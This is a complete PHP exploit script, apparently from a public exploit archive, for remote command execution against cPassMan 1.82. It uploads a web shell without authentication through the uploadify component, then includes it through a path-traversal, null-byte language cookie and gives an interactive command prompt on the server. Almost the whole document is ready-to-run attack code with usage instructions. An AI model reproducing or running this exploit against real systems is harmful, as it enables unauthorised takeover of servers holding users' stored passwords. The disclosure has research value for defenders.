cPassMan 1.82 – Remote Command Execution
Product. Collaborative Passwords Manager (cPassMan) Platform. Independent (PHP) Affected versions. 1.82 <?php /* * cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com) * Disclaimer: cPassMan developer was notified of vulnerabilities in April 2011 and advised that v1.x was no longer supported. * Note: Requires PHP 5.3.3 or lower due to the use of a poison null byte in the LFI. */ if ($argc < 3) { print "Usage: php -f {$argv[0]} <host> <path> (e.g. php -f {$argv[0]} 192.168.129.130 /cpassman)\n"; exit(); } print "--------------------------------------------------------------------------------\n"; print "cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com)\n"; print "--------------------------------------------------------------------------------\n"; $host = $argv[1]; $path = $argv[2]; $port = 80; /* * Stage One: Unauthenticated Arbitrary File Upload * Uploaded files are stored in the document root of the web server as a file with the MD5 hash of the original filename. */ print "[*] Stage One: Uploading command execution handler... "; $upload_path = $path . "/includes/libraries/uploadify/uploadify.php"; $fp = fsockopen($host, $port, $errno, $errstr, 30); if ($fp) { fputs($fp, "POST $upload_path HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-Type: multipart/form-data; boundary=---------------------------4827543632391\r\n"); fputs($fp, "Content-Length: 233\r\n\r\n"); fputs($fp, "-----------------------------4827543632391\r\n"); fputs($fp, "Content-Disposition: form-data; name=\"Filedata\"; filename=\"rabbit.txt\";\r\n"); fputs($fp, "Content-Type: text/plain\r\n\r\n"); fputs($fp, "<?php echo system(\$_GET['z']); die(); ?>\r\n"); fputs($fp, "-----------------------------4827543632391--\r\n\r\n"); $result = fgets($fp, 16); fclose($fp); } if (strstr($result, "200 OK")) { print "Success!\n"; } /* * Stage Two: Local File Inclusion * Several LFI vulnerabilities exist in the user language selection functionality. The exploit uses the user_language cookie attack vector. */ print "[*] Stage Two: Confirming command execution via local file inclusion... "; $cmd = "echo rabbit"; $success = FALSE; $stdin = fopen("php://stdin","r"); do { $cmd = str_replace(" ", "+", $cmd); $lfi_path = $path . "/index.php?z=" . $cmd; $fp = fsockopen($host, $port, $errno, $errstr, 30); if ($fp) { fputs($fp, "GET $lfi_path HTTP/1.1\r\n"); fputs($fp, "Host: 192.168.129.130\r\n"); fputs($fp, "Cookie: user_language=../../../89f84a8775dd8f60cdbdef0d73919511%00\r\n"); fputs($fp, "Content-Length: 0\r\n\r\n"); for ($i = 0; $i < 13; $i++) { fgets($fp, 2048); } $output = "\n"; while (($tmp = fgets($fp, 2048)) != FALSE && !feof($fp)) { $output .= $tmp; } if ($success) { echo $output; } fclose($fp); } if (!$success && strstr($output, "rabbit")) { $success = TRUE; print "Success!\n"; } print "\n> "; } while ($cmd = trim(fgets($stdin))); ?> |